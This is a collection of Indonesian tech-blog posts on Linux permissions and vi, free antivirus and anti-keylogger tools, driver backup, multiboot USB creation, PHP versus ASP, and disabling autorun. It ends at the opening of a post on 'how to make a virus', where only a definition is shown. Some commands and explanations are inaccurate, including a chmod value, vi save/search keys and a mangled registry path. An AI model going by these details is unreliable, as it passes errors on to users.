Selain dengan symbol huruf, Kita juga dapat menggunakan symbol angka. Symbol angka ini harus diberikan sekaligus untuk owner, group dan others. Jadi, kalau di symbol huruf kita bisa memberikan permission untuk owner, group atau others saja, maka di symbol angka ini harus diberikan sekaligus. Karena itu, symbol angka ini selalu berisi 3 digit, dimana digit pertama akan berisi mengenai permission owner, digit kedua untuk permission group dan digit ketiga untuk permission others. Symbol angkanya adalah:
  • 4 = untuk permission baca (read)
  • 2 = untuk permission tulis (write)
  • 1 = untuk permission menjalankan (execute)
Jadi, jika kita ingin memberikan permission seperti ini kepada user
  • drw-r-xr—maka perintahnya bila menggunakan symbol huruf adalah:
    $ chmod u+rw,u-x,g+r,g-wx,o+r,o-wx file
    bila menggunakan symbol angka, maka perintahnya:
    $ chmod 654 file
    Angka 6 berarti akses baca dan tulis, karena akses baca adalah 4 dan tulis adalah 2, maka jumlahnya adalah 6. Demikian juga untuk permission group, angka 5 berasal dari permission baca yang bernilai 4 dan permission menjalankan yang bernilai 1. Karena user atau group lainnya hanya boleh membaca saja, maka diberikan nilai 4.
  • Contoh lain lagi, misalkan permission awalnya adalah seperti ini drwxrw—- dan kita ingin menggantinya menjadi seperti ini drw-r-x—, maka perintahnya:
    $ chmod u-x, g-w,g+x file
    atau
    $ chmod 654 file
Untuk mengganti pemilik dari suatu file atau direktori, gunakan perintah berikut: chown PemilikBaru NamaFileAtauDirektori
Untuk mengganti group dari suatu file atau direktori, gunakan perintah beikut: chgrp GroupBaru NamaFileAtauDirektor
8. Contoh Penggunaan User Permission
Untuk lebih jelasnya, Kita akan langsung masuk ke contoh kasus saja.
  1. Kita akan membuat 1 group dengan nama IT Dan juga membuatkan user dengan nama-nama: Benny, Budi, dan Iwan. Dan ingat jangan lupa untuk memberikan password. Perintahnya:
    1. # groupadd it
    2. # useradd benny
    3. # passwd benny
    4. # useradd budi
    5. # passwd budi
    6. # useradd iwan
    7. # passwd iwan
  2. Kecuali Iwan, user-user tersebut adalah anggota dari group IT. Perintahnya:
    1. # usermod -G it benny
    2. # usermod -G it budi
  3. Selanjutnya adalah membuatkan direktori untuk group dimana setiap anggota group it dapat membaca, menulis dan mengeksekusi direktori tersebut, tetapi tidak untuk user atau group lainnya. Dan setiap file atau direktori yang berada di dalamnya harus mempunyai hak akses yang sama dengan direktori tersebut, yaitu dapat membaca, menulis dan mengeksekusi direktori tersebut.
    Perintahnya: 
    • # mkdir /home/it
    • # chgrp it /home/it
    • # chmod g+rwxs, o-rwx /home/it (atau ditulis # chmod 2770 /home/it)
      Perhatikan ternyata untuk permissionnya ada tambahan hurus ‘s’ dan dalam symbol angka menjadi 4 digit. Huruf ‘s’ (atau angka 4 di symbol angka) berarti special permission. Efek dari special permission ini adalah, bila direktori tersebut sudah kita set groupnya menjadi it, maka setiap file atau direktori yang berada di dalamnya yang dibuat setelah permission dibuat, maka groupnya pun akan mengikuti direktori utamanya.  Jika menggunakan symbol angka, maka special permission ini diletakan pada digit pertama. Berarti digit kedua adalah untuk permission owner, digit ketiga untuk permission group dan digit keempat untuk permission others. Bila tidak ada special permission, maka Kita dapat menuliskan dalam format 3 digit. Untuk symbol angka, berikut adalah artinya:
      • 4 = u+s
      • 2 = g+s
      • 1 = sticky bit (artinya yang bisa menghapusnya hanya owner, untuk symbol huruf ditandai dengan huruf ‘t’).
    • Sekarang cobalah untuk login dengan user benny, dan cobalah untuk membuat file apa saja di direktori /home/it.
    • Lalu cobalah login dengan user budi, editlah file tersebut. Ternyata user budi dapat mengedit file tersebut. Hal ini karena group file tersebut adalah it, dimana akses group tersebut adalah read, write dan execute.
    • Sekarang coba login dengan user iwan, dan coba edit file yang dibuat oleh user benny tadi. Ternyata tidak bisa. Bahkan user iwan tidak bisa masuk ke direktori /home/it sama sekali. Hal ini terjadi, karena user iwan bukan merupakan anggota group it.
9. Menggunakan VI Teks Editor
Ada banyak teks editor yang tersedia di Linux, mulai dari yang berbasis CLI hingga yang berbasis GUI. Beberapa teks editor tersebut adalah
  1. vi
  2. emacs
  3. joe (bagi Anda yang ingin bernostalgia dengan wordstar/ws, joe ini mirip sekali dengannya)
  4. pico
  5. dll
Vi teks editor ini terdiri dari 2 macam mode, yaitu editing dan command. Saat berada dalam mode editing, Kita bisa mengedit file yang kita buat, seperti menambah, menghapus atau mengedit teks.
Saat berada dalam mode command, artinya kita bisa memberikan perintah-perintah kepada vi. Perintah-perintah yang dimaksud itu seperti perintah keluar, simpan, copy, delete, dsb. Command ini juga bisa dalam bentuk visual. Saat berada dalam mode visual, kita bisa melakukan blok terhadap baris-baris tertentu dan melakukan copy terhadap baris tersebut dan sebagainya.
Untuk masuk ke dalam mode editing, kita dapat menekan tombol i. Untuk berpindah mode, dari mode editing ke mode command, Kita dapat menekan tombol ESC.
  • Membuat dan membuka file
    Untuk membuat atau membuka file, dapat dilakukan dengan perintah:
    $ vi nama_file
    Jika nama file yang diberikan adalah nama file baru (filenya belum ada), maka artinya kita akan membuat file baru. Tetapi jika nama filenya sudah ada, artinya kita akan membuka file tersebut.  Berikut beberapa perintah lainnya dalam membuka file:
    • $ vi +n nama_file
      Untuk membuka file langsung pada nomor baris n
    • $ vi + nama_file
      Untuk membuka file langsung pada baris terakhir
    • $ vi +/kata nama_file
      Untuk membuka file langsung pada kata pertama yang ditemukan
    • $ vi -R nama_file
      Membuka file dalam modus baca, dan tidak untuk diedit. Perintahnya juga bisa dilakukan dengan perintah $ view nama_file
  • Keluar dan menyimpan
    • Untuk keluar dari vi, tekan tombol ESC kemudian dilanjutkan dengan menekan tombol :q dan diakhiri dengan ENTER
    • Bila file telah sempat diedit, dan Kita ingin keluar tanpa menyimpannya, maka yang perlu Anda lakukan adalah tekan ESC, dilanjutkan dengan tombol :q! dan diakhiri dengan ENTER
    • Untuk menyimpan dan keluar dari vi, tekan tombol ESC dan dilanjutkan dengan menekan tombol :wq
    • Untuk menyimpan tanpa keluar, tekan tombol ESC dan dilanjutkan dengan menekan tombol :x
  • Perintah-perintah pengeditan
    1. Menggerakkan kursor
      • 0 = Pindah ke awal baris
      • $ = Pindah ke akhir baris
      • w = Pindah ke kata selanjutnya
      • b = Pindah kembali ke kata sebelumnya
      • a = Untuk menyisipkan karakter
      • c = untuk memotong kata atau baris
      • p = Untuk menyalin kata atau kalimat yang terpotong (paste)
      • yy = Untuk menyalin 1 baris.
      • 2yy = Untuk menyalin 2 baris.
      • dd = Untuk menghapus baris.
      • 2dd = Untuk menghapus 2 baris
      Untuk melakukan copy+paste secara visual, dapat dilakukan dengan cara menekan tombol v, blok baris yang akan dicopy, kemudian tekan y. Letakkan kursor ke tempat tujuan dan tekan p.
    2. Mengedit teks
      • cw = Menghapus satu kata di depan kursor
      • c2b = menghapus 2 kata sebelumnya
      • c$ = menghapus satu baris di depan kursor
      • c0 = menghapus satu kata di belakang kursor
      • ~ = mengubah huruf kecil menjadi huruf besar
      • u = Undo, melakukan pembatalan terhadap editing terakhir.
      • A = menyisipkan karakter di akhir baris
      • I = menyisipkan karakter di awal baris
      • o = membuka baris kosong di bawah kursor
      • O = membuka baris kosong di atas kursor
      • s = menghapus karakter pada kursor dan menukar teks
      • S = menghapus baris dan menukar teks
      • R = menempati karakter, kata, kalimat ke dalam baris yang telah dibuat.
      • J = menggabungkan dua baris.
    3. Menukar teks
      Format umum perintah menukar teks ini adalah:
      :<jangkauan>s/<kata yang akan diganti>/<kata pengganti>/option  Option yang dapat diberikan adalah
      g = mencari kata secara global
      i = mengabaikan huruf besar/huruf kecil
      Contoh:
      Kita akan mengganti kata “baris” menjadi kata “line”, maka perintahnya:
      :1,$s/baris/line/g
    4. Mencari kata
      • /cari = mencari kata pertama di depan kursor yang sama dengan cari
      • ?cari = mencari kata pertama di belakang yang sama dengan cari
      • n = untuk mencari kata cari berikutnya tetapi ke arah sebelumnya
      • N = untuk mencari kata cari berikutnya tetapi ke arah setelahnya.
10. Instalasi Program di Linux
Instalasi di Linux terdiri dari 2 macam, yaitu instalasi dari repositori dan instalasi program tambahan (non repositori). Instalasi dari repositori artinya Kita akan menginstall program-program tambahan yang sudah disediakan oleh distro Linux tersebut, seperti dari CD/DVD atau dari server (dan mirrornya) distro itu sendiri.
Instalasi program tambahan (non repositori), artinya Kita akan menginstall program-program lain yang tidak terdapat di distro Linux tersebut atau bisa juga kita akan menginstall program-program yang berada di distro tersebut, tetapi mempunyai versi yang berbeda.
  • Installasi Dari Repositori
    Untuk installasi dari repositori, tergantung dari distro yang kita gunakan, karena masing-masing distro mempunyai perintahnya masing-masing. Berikut beberapa perintah yang ada di beberapa distro: 
    1. Mandriva = urpmi
    2. Red Hat & Fedor = yum
    3. OpenSUSE & SUSE = yast2
    4. Ubuntu, Kubuntu, Edubuntu, Xubuntu = apt-get
    5. PCLinuxOS = apt-get
    Contoh:
    • Instalasi tree di Mandriva, urpmi tree
    • Instalasi webmin di PCLinuxOS, apt-get install webmin
  • Installasi Program Tambahan (non repostori)
    Ada kalanya Kita tidak menemukan aplikasi yang kita inginkan di distro Linux yang kita gunakan, atau aplikasi yang kita inginkan memang ada, tetapi kita membutuhkan versi yang lebih tinggi. Di saat seperti itulah Kita perlu menginstall program tambahan (non repositori) tersebut. Installasi program tambahan ini pun tergantung dari turunan distro yang kita gunakan.  Secara umum, distro Linux yang ada saat ini dapat dibagi ke dalam 3 kelompok, yaitu:
    1. Turunan Red Hat (mempunyai installer yang berbentuk .rpm)
    2. Turunan Debian (mempunyai installer yang berbentuk .deb)
    3. Turunan Slackware (mempunyai installer yang berbentuk .tgz)
    Dalam pembahasan ini, Kita akan menggunakan installer yang berbentuk .rpm. Perintah untuk menginstall paket .rpm adalah rpm -ivh NamaPaket. Parameter i berarti Kita akan melakukan installasi.
    Parameter v berarti semua progress akan ditampilkan ke layar.
    Parameter h berarti tampilan progressnya dalam bentuk bar, sehingga akan kelihatan persentasenya.
    Untuk mengupgrade paket .rpm, gunakan parameter U untuk menggantikan parameter i. Untuk menghapus aplikasi, gunakan parametera e.
    Penjelasan dan contoh yang lebih lanjut mengenai installasi paket .rpm ini akan dijelaskan dalam thread lanjutan setelah thread ini. Di thread lanjutan nanti, akan dijelaskan cara install paket .rpm yang lebih lengkap, termasuk installasi yang membutuhkan dependensi, dan installasi melalui source code.
Reade more >>

Anti Keylogger & Anti Virus Gratis

Anti Keylogger & Anti Virus Gratis

ANTI VIRUS

Software antivirus merupakan salah satu software yang wajib diinstall di tiap komputer. Tanpa adanya software yang satu ini siap-siap aja untuk kehilangan data penting karena serangan virus, trojan, worm, dsb.
Banyak sekali pilihan antivirus yang dapat Anda gunakan. Berikut ini kami tampilkan daftar antivirus gratis yang bisa Anda coba. Walaupun gratis tapi fitur yang ditawarkan antivirus ini sudah cukup lengkap ;-)

1. AVG Anti-Virus Free Edition

Ini merupakan salah satu software antivirus gratis terbaik dengan fitur yang cukup lengkap. Salah satu fitur yang cukup menarik dan jarang dimiliki antivirus lain adalah fitur LinkScanner Active Surf-Shield dan LinkScanner Search-Shield yang akan membantu mengamankan komputer Anda saat dipakai surfing di internet.
2. Avira AntiVir Personal

Avira cukup ampuh untuk melawan virus, trojans, backdoor program, hoax, worm, dialer, dll. Yang sedikit “mengganggu” dari Avira adalah nag screen yang muncul secara periodik yang menawarkan kepada penggunanya untuk upgrade ke versi berbayar.
3. Avast Home Free Edition

Walaupun software ini gratis, tapi untuk menggunakan secara full selama setahun Anda harus melakukan registrasi terlebih dahulu. Untuk melakukan registrasi Anda bisa mengunjungi halaman ini. Setelah itu license key akan dikirimkan via email.
4. PC Tools AntiVirus Free Edition

Freeware ini cukup ampuh untuk mendeteksi, mengkarantina, dan memperbaiki file yang rusak karena virus, trojan, dan worm.
5. Comodo Internet Security

Comodo Internet Security terdiri dari Comodo Firewall dan Comodo Antivirus. Software ini dapat dijalankan pada Windows XP dan Windows Vista.
6. MicroWorld Free AntiVirus Toolkit Utility (MWAV)

MWAV adalah antivirus sekaligus antispyware dan antiadware. Software ini dapat langsung dijalankan, tanpa harus diinstall terlebih dahulu.
7. BitDefender Free Edition

Ini adalah salah satu antivirus yang sudah cukup lama dengan fitur yang cukup menarik seperti virus scanning and removal, scheduled scanning, immediate scanning, skinable interface, quarantine, reports.
ANTI KEYLOGGER

Keylogger merupakan software yang biasa digunakan untuk memata-matai aktifitas yang dilakukan pada suatu komputer dengan cara merekam semua yang Anda ketikkan melalui keyboard dan menangkap tampilan layar (screen capture) program yang sedang Anda jalankan.

Contohnya seperti ini, misalnya Anda mau login ke Facebook.com tentunya Anda harus memasukkan username (email) dan password terlebih dahulu. Nah, jika komputer yang Anda gunakan  ternyata terdapat keylogger maka username dan password tersebut (yang Anda ketikkan lewat keyboard) akan direkam oleh keylogger. Biasanya keylogger akan mengirimkan data hasil “tangkapan” tersebut ke alamat email yang sudah ditentukan oleh si pemasang keylogger. Dengan begitu si pemasang keylogger dapat dengan mudah login ke akun Facebook Anda dengan menggunakan username dan password yang telah direkam tadi.
Itu baru akun facebook, belum misalnya Anda punya akun email, paypal, domain control panel, blog dan sebagainya. Semuanya bisa dicuri dengan bantuan keylogger.
Nah, untuk meminimalkan resiko karena keylogger tersebut, berikut ini kami pilihkan lima software anti keylogger yang bisa Anda gunakan secara gratis:
1. KeyScrambler Personal
KeyScrambler merupakan addon atau plugin untuk browser Firefox, Internet Explorer dan Flock. KeyScrambler akan mengenkripsi semua huruf yang Anda ketikkan, sehingga jika di komputer Anda ternyata ada software keylogger maka software keylogger tersebut hanya akan merekam hasil ketikan yang sudah terenkripsi.
Download: http://www.qfxsoftware.com/Download.htm
2. I Hate Keyloggers
I Hate Keyloggers merupakan software buatan Yohanes Aristianto. Software ini akan melindungi Anda dari key loggers, spyware, dan remote administration tools.
Download: http://dewasoft.com/privacy/i-hate-keyloggers.htm#download
3. PSMAntiKeyLogger
Software ini selain untuk melindungi komputer Anda dari keylogger, juga dapat untuk mencegah Screen/Form capturers.
Download: http://sourceforge.net/projects/psmantikeyloger/files/
4. SnoopFree Privacy Shield
SnoopFree Privacy Shield akan mencegah aktivitas perekaman tombol yang diketik, form yang dibuka dan screen capture yang biasa dilakukan oleh keylogger.
Download: http://www.snoopfree.com/PrivacyShield.htm
5. MyPlanetSoft Anti-Keylogger
MyPlanetSoft Anti-Keylogger merupakan salah satu software antikeylogger dengan ukuran file paling kecil, yaitu 36 kb.
Download: http://www.myplanetsoft.com/free/antikeylog.php
NEO’S SAFEKEYS
Artikel Komputer kali ini membahas tentang Software Anti Keylogger [gratis...!!!]. Ketika menggunakan komputer di tempat umum seperti warnet, bisa jadi apa yang kita ketikkan akan terekam oleh software Keylogger. Anti Keylogger merupakan software yang berfungsi untuk mencegah terjadinya pencurian account seseorang (User ID dan Password maupun Informasi yang bersifat privasi lainnya) pada saat orang tersebut menggunakan suatu komputer yang mungkin telah di tanami (di install) dengan software Keylogger.
Software Anti Keylogger ini bernama Neo’s SafeKeys. Program freeware ini dapat digunakan pada saat kita akan mengisikan User ID dan password. Dengan software ini kita tidak perlu lagi untuk mengetikkannya melalui keyboard, kita hanya mengklik tombol-tombol huruf dan angka yang tampil seperti keyboard dalam software ini dengan menggunakan mouse.
Selanjutnya apa yang kita klik akan masuk ke kotak isian di bagian bawah jendela software tersebut, selanjutnya kita dapat melakukan drag and drop ke kotak isian password aplikasi sebenarnya.

Keuntungannya:
1. Kita tidak perlu menggunakan keyboard, sehingga program keylogger tidak bisa melakukan perekaman atas tombol-tombol keyboard yang ditekan.
2. Program akan mengubah ukuran panjang dan lebarnya setiap waktu tertentu, begitu juga penempatannya dalam layar, dan ini ditujukan untuk menghindari mouse-logger.
3. Tidak ada yang tersimpan dalam clipboard.
4. Dapat menggunakan huruf besar atau kareakter-karakter lainnya;
5. Dapat digunakan secara portable, jadi dapat disimpan dalam USB Flash drive (USB Flash Disk).
Berikut Link Download-nya : Klik disini
JUST INFO
Berikut 10 Anti-Keylogger Terbaik Tahun 2010 menurut toptenreviews.com :
1. Zemana AntiLogger
2. DataGuard AntiKeylogger Ultimate
3. GuardedID Premium
4. CoDefender
5. PrivacyKeyboard
6. Anti-Keylogger
7. KeyScrambler Premium
8. Advanced Anti Keylogger
9. Keystroke Interference
10. KeyGuard! Hack Proof Security
Semoga bermanfaat bagi semua.
Reade more >>

Cara Backup Driver Komputer


Cara Backup Driver Komputer



Tips komputer kali ini adalah tentang Cara Backup Driver Komputer. Dimana backup driver sangat bermanfa’at apabila kita ingin menginstal ulang Windows, tapi CD drivernya hilang. Dan apabila anda sudah membackup driver, jadinya anda tidak perlu susah-susah mencari driver komputer anda di internet.
Software yang kita gunakan untuk Backup Driver adalah Driver Genius. Link download softwarenya ada dibawah ini.

DOWNLOAD SOFTWARE

Dan berikut cara backup driver komputer :
  1. Buka Driver Genius, pilih menu Backup Drivers dan pada Select the drivers you want to backup, centang opsi Current Used Drivers. Karena driver yang kita butuhkan cuma yang tidak bawaan Windows. Kalau sudah klik Next.
  2. Pada bagian Select the backup type, anda bisa memilih jenis backupnya. Untuk ini, saya pilih ZIP Archive. Setelah itu tentukan lokasi penyimpanan backup dengan klik Browse. Lanjut klik Next.
  3. Tunggu sampai proses backupnya selesai. Kalau sudah selesai, klik Finish dan buka lokasi anda menyimpan backup tersebut.
Nah, sekian Tips Komputer tentang cara backup Driver. Semoga tutorial sederhana bermanfaat bagi anda semuanya. ^_^
SELAMAT MENCOBA!
Reade more >>

Hiren + XP + Win7 Dalam Satu Flashdisk


Hiren + XP + Win7 Dalam Satu Flashdisk

Hiren’s BootCD + XP + Win7/Vista Dlm Satu Flash Disk
Keperluan multboot buat user PC mmg sangat banyak membantu, utk menggabungkannya kedlm USB flash mmg butuh cara khusus. Utk menggabung Hiren’s BootCD, Windows XP, & Windows Vista/7 dlm satu flash disk, ikuti cara berikut:Yang perlu disiapkan:
1. Hiren’s BootCD (disarankan versi 9.7 keatas)
2. CD Installer Windows XP (rekomendasi SP3)
3. DVD Installer Windows Vista/Windows7
4. USB_MultiBoot_10
5. GRUB4DOS
Oh ya tak lupa mengucapkan salam persahabatan untuk keluarga binushacker, oke lanjut ke step selanjutnya.
Langkah-langkahnya:
Integrasi Windows XP
    1. Ektsrak USB MultiBoot 10 ke hardisk (mis di C:\USB_MultiBoot_10\). Masukkan CD Windows XP kedalam CD/DVD drive atau mount dengan PowerISO atau DaemonTools.
    2. Colokkan FD USB kemudian dari dalam folder USB_MultiBoot_10, jalankan file USB_MultiBoot_10.cmd.
    3. Akan muncul jendela prompt Windows, tekan sembarang tombol untuk mulai (Press any key to continue…).
    4. Berikutnya adalah memformat flash disk USB. Ada 2 tool yg disediakan untuk memformat flash disk anda:
      • PeToUSB : flash disk masimal 2GB, dgn system file FAT.
      • HP USB Disk Storage Format Tool : Flash disk diatas 2GB dgn system file FAT & NTFS.
      Pilih jenis tool utk format FD-nya (saya pake HP USB Disk Storage) lalu tekan tombol “H” & tekan ENTER.

    5. Pastikan nama Flash disk USB sdh tertera pada kotak Device HP USB Disk Storage Format dan pilih system file NTFS supaya proses instalasi dari FD jauh lebih cepat. Kalau sudah siap, tekan tombol Start. Tekan tombol Yes untuk pertanyaan message-box dari tool HP USB.
    6. Kalau proses format sudah selesai, klik tombol “Close”dan anda akan diantar ke jendela berikut:
    7. Tekan angka “1” pada keyboard lalu tekan ENTER. Pilih lokasi drive Windows XP.
    8. Klik tombol Yes pada kotak Unattended Install ? – XP Setup UserData in winnt.sif and $OEM$yg muncul. Selanjutnya silakan isi informasi nama user, organisasi, product key XP, nama komputer, password, dsb sama seperti melakukan instalasi normal dari CD installer XP. Jadi, nanti tidak perlu lagi mengisi data2 instalasi saat menginstal XP dari Flash disk.
    9. Selanjutnya tekan angka “2” lalu ENTER. Pilih lokasi drive FD.
    10. Ketik angka “3” lalu tekan ENTER untuk mulai menyalin file2 instalasi XP kedalam FD. Baca kotak2 pertanyaan yg muncul dan iyakan saja.
    11. Tahap pembuatan instalasi XP USB sudah selesai, tekan “Q” untuk menutup USB_MultiBoot_10.cmd.
  • Integrasi Hiren’s BootCD
    1. Masukkan/mount CD/ISO Hiren’s dalam drive CD/DVD-ROM.
    2. Copy folder HBCD dan file autorun.infdari dalam drive Hiren’s BootCD kedalam FD.
    3. Ekstrak file grub4dos.zip yang sudah didownload, kemudian copy file gldr dan file menu.lstdari hasil ekstraksi tsb kedalam FD.
    4. Sekarang, FD USB multiboot sdh jadi dengan Windows XP dan Hiren’s BootCD didalamnya. Tinggal mengatur BIOS PC/laptop supaya bisa booting dari USB FD.
  • Integrasi Windows 7/VistaCopy semua isi DVD Windows 7/Vista kedalam FD. Buka file menu.lstdalam FD dengan notepad lalu tambahkan baris berikut didalamnya:
    Code:
    title Windows 7
    root (hd0,0)
    chainloader /bootmgr
Selesai!! Special thanks for narcophilia for this tutorial info.
selamat membaca di www.ganangtkj.tk
Reade more >>

Perbedaan PHP dan ASP


Perbedaan PHP dan ASP



Ane sedikit penasaran dengan yang namanya php dan asp .net, iseng dah barusan ane cari cari sumber buat muasin rasa penasaran ane yang bejibun ini… seperti biasa hal yang pertama ane lakukan untuk mencari sesuatu yang menurut ane “unknown” ane buka wikipedia sang enslikopedia “lengkap”, setelah ane buka eh malah cuman disuguhin hal yang minim tentang php dan beralih lah ane ke si mbah gugle, and walah,, ane nemu satu artikel yang singkat padat jelas dan yang pasti bisa menuhin rasa penasaran ane selama ini, so apa salahnya ane bagi disini,, ya kan??
So lets cek this out....
Bagi para webmaster yang baru belajar saya hanya ingin menjelaskan sedikit yang saya dapatkan untuk pertanyaan yang selalu ditanya apa sih perbedaan PHP dengan ASP..
Bagi orang awam tentang pemprograman website PHP dan ASP menurut mereka tidak jauh bedanya, malah ada yang mengatakan ASP itu adalah Bahasa Pemrprogram dari PHP…berikut saya jelaskan perbedaan dari ASP dan PHP…???
ASP dan PHP merupakan bahasa pemrograman yang biasa digunakan untuk membuat website. Tidak seperti halaman web HTML biasa, ASP dan PHP lebih dinamis dan mampu membuat para user bisa berinteraksi dan bertukar informasi dengan database website.

ASP merupakan kependekan dari Active Server Pages, suatu jenis program yang bekerja dalam Microsoft (Windows) melalui IIS (Internet Information Server). ASP memerlukan server Microsoft untuk menjalankan website. Sedangkan program PHP atau Hypertext Preprocessor berjalan di server Linux atau Unix. PHP yang lebih baru bisa berjalan di server NT.

Program PHP juga bisa berjalan di Windows, Solaris, Unix dan Linux sedangkan ASP hanya bisa berjalan di server dengan platform Windows. Baru-baru ini saja, ASP bisa berjalan pada platform Linux yang hanya ada bila sudah terinstall ASP-Apache di servernya.
Jika Anda seorang programmer mahir dengan bahasa C++, Anda mungkin akan lebih nyaman menggunakan PHP daripada ASP. PHP menggunakan C/C++ sebagai bahasa pemrograman dasar dan kebanyakan syntax-nya serupa antara yang satu dengan yang lain. Karena sebagian besar programmer masih menggunakan bahasa C++, PHP menjadi lebih populer dibanding dengan ASP.
ASP lebih banyak mirip dengan syntax dan interface-nya pemrograman Visual Basic. Hal itu dikarenakan pada dasarnya Visual Basic adalah berkorelasi dengan produk dan program-program buatan Microsoft. Jadi jika Anda seorang programmer, pemilihan antara ASP dan PHP sebenarnya didasarkan pada bahasa pemrograman mana yang paling Anda kuasai.
Jika dibandingkan dari segi biaya dan kemahalannya, program ASP membutuhkan Windows dengan IIS terinstall di servernya. Anda harus membeli kedua komponen tersebut agar ASP bisa berjalan. Sebaliknya, PHP hanya akan membutuhkan sebuah server Linux yang bisa Anda dapatkan secara cuma-cuma.
PHP sangatlah fleksibel ketika dikoneksikan dengan database. PHP bisa terkoneksi dengan beberapa database dimana yang sebagian besar digunakan adalah MySQL. Harap dicatat bahwa MySQL tidak akan membebani Anda sesen rupiah pun. Tapi bila Anda ingin memakai ASP, Anda perlu untuk membeli MS-SQL, produknya Microsoft.
Kecepatan me-load adalah faktor besar dalam memelihara website. Jika Anda sangat selektif soal kecepatan, Anda mungkin lebih membutuhkan PHP. Pada dasarnya kode PHP berjalan lebih cepat daripada ASP karena berjalan di space-nya sendiri sedangkan ASP menggunakan sebuah tambahan server dan menggunakan arsitektur berbasis COM.
Dalam bekerja dengan PHP, kebanyakan tools terasosiasi dengan program yang kebanyakan berupa open source software, jadi Anda tidak perlu membayar untuk mendapatkan tool tersebut. Tidak seperti ASP yang mungkin mengharuskan kita untuk membeli tool tambahan untuk bekerja dengan program ini.
Kesimpulannya: Baik PHP dan ASP mempunyai keuntungan dan kerugian. Pada dasarnya semua bergantung pada bagian pengembangan website mana yang akan Anda pilih. Apakah Anda mencemaskan biaya dari pembuatan website Anda? Apakah anda ingin menggunakan bahasa pemrograman yang familiar dengan Anda? Apakah Anda menginginkan website yang lebih stabil dan cepat? Pemilihan antara ASP dan PHP pada dasarnya tergantung pada preferensi Anda sendiri. Sebaiknya Anda berunding dengan programer atau webmaster lainnya dan cari sebanyak mungkin informasi mengenai kode pemrograman mana yang paling pas dengan website Anda.
He…. he… he… singkat banget kan.. tapi artikel ini menurut ane padat merayap.. jadi mudah untuk di cerna buat mereka yang hanya mencari seberkas pencerahan apa itu php? dan apa itu asp?
So thats it..
Reade more >>

Ebook Dasar-Dasar Design Web

Ebook Dasar-Dasar Design Web



Kali ini saya ingin berbagi ebook tentang Dasar-dasar Design Web. Ebook ini sangat cocok untuk anda yang belum tahu sama sekali akan design web dan ingin mempelajarinya, karena buku ini memang dikhususkan untuk pemula. Buku ini mengajarkan tentang HTML (Hypertext Markup Language), yaitu bahasa pemrogaman dasar design web. Selain itu diajarkan juga sedikit tentang CSS (Cascading Style Sheet) yaitu code yang disisipkan diantara code-code HTML yang berfungi mempercantik tampilan halaman web, dan beberapa pemrogaman Web dengan Javascript.
Berikut ada 3 ebook yang ingin saya bagikan untuk sahabat BinusHacker :
  1. Dasar-dasar Design Web
  2. Judul ebook yang pertama adalah Dasar-dasar Design Web. Ebook ini sangat cocok untuk anda yang belum mengenal sama sekali tentang HTML, karena ebook ini mudah dipahami.
  3. Cara membuat Website sendiri
  4. Ebook yang kedua berjudul Cara membuat Website sendiri. Ebook ini adalah pelengkap dari ebook sebelumnya. Karena dalam ebook ini properti tag-tag HTML dikupas semuanya. Dan diajarkan pula CSS, Javascipt, dan lain-lain. (Biarpun ebook yang satu ini jadul, tapi tetap powerfull)
  5. Mastering Kode HTML
  6. Ebook berjudul Mastering Kode HTML ini untuk menyempurnakan pembelajaran anda mengenai HTML, dan juga untuk latihan.
Silahkan di download dan dinikmati Ebook nya :) dan selalu ingatlah, jangan pernah lelah untuk belajar.
Reade more >>

Disable Autorun.inf Menghindari Virus


Disable Autorun.inf Menghindari Virus



Beberapa orang ada yang berpikir bahwa file autorun.inf adalah virus, padahal sebenarnya bukan. Autorun.inf adalah suatu sistem file yang digunakan oleh sistem operasi seperti Windows agar secara otomatis menjalankan program ketika removable media seperti CD-ROM, DVD-ROM atau USB Flash dimasukkan di komputer. untuk alasan kenyamanan fitur ini dirancang agar sebuah software yang dipasang pada sebuah disk dapat secara otomatis start saat disk dimasukkan.
Sayangnya autorun.inf ternyata menimbulkan masalah baru. fitur ini dimanfaatkan untuk penyebaran virus. keamanan pengguna pun terancam, mereka yang tidak berniat untuk menjalankan sebuah software terpaksa harus terbelalak dengan kondisi tak mampu berbuat apa-apa untuk menghentikan virus yang langsung berakasi, seperti dalam kasus beberapa virus, yang memanfaatkan fitur ini untuk menyebarkan. ini disebut Sebuah fitur Windows telah gagal ?

Me Non aktifkan AutoPlay bukan solusi karena ketika Anda membuka drive dari My Computer, Windows masih akan menjalankan instruksi yang ditemukan di autorun.inf.

Ada perbedaan antara Autoplay dan Autorun. Autoplay adalah ketika Anda memasukkan CD / DVD atau USB flash drive, Anda mendapatkan kotak dialog yang menanyakan apa yang ingin Anda lakukan Windows, sedangkan autorun akan langsung mengeksekusi perintah yang ada di file autorun.inf. dan ketika ini berjalan tidak ada sama sekali kesempatan bagi Anda untuk membatalkan autorun.
Cara menonaktifkan autorun.
Langkah 1 : Click Start->Run atau tekan tombol Window + R pada keyboard untuk menampilkan kotak dialog Run.
Langkah 2 : Ketik regedit lalu tekan Enter untuk menjalankan Registry Editor.
Langkah 3 : Pada kiri, panel klik ganda folder untuk memperluas dan pergi ke
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer
Langkah 4 : Pada panel sebelah kanan double klik NoDriveTypeAutoRun
Langkah 5 : Pada Value Data , ketik FF untuk Heksadesimal atau 255 untuk nilai desimal.
Langkah 6 : Tutup Registry Editor dan restart komputer.
Cara menonaktifkan autorun dengan Notepad
Berikut ini adalah kunci registri yang bisa Anda gunakan untuk mem blok autorun.inf. Buka notepad atau teks editor lainnya, salin teks di bawah ini dan simpan sebagai NoAutoRun.reg. Pastikan save dengan ekstensi . Reg bukan. Txt.
REGEDIT4
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionIniFileMappingAutorun.inf]
@ = “@ SYS: DoesNotExist”
Jalankan file tersebut, klik Yes jika ada konfirmasi.
Masalah dengan hack ini adalah bahwa installer CD atau DVD tidak akan lagi berjalan secara otomatis, anda harus mencari file setup dengan manual. tapi saya pikir bukanlah masalah besar dibandingkan dengan jika terinfeksi oleh virus dan harus menghabiskan berjam-jam membersihkannya.
Reade more >>

Cara Membuat Virus

Cara Membuat Virus


Pendahuluan
Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Cara Kerja
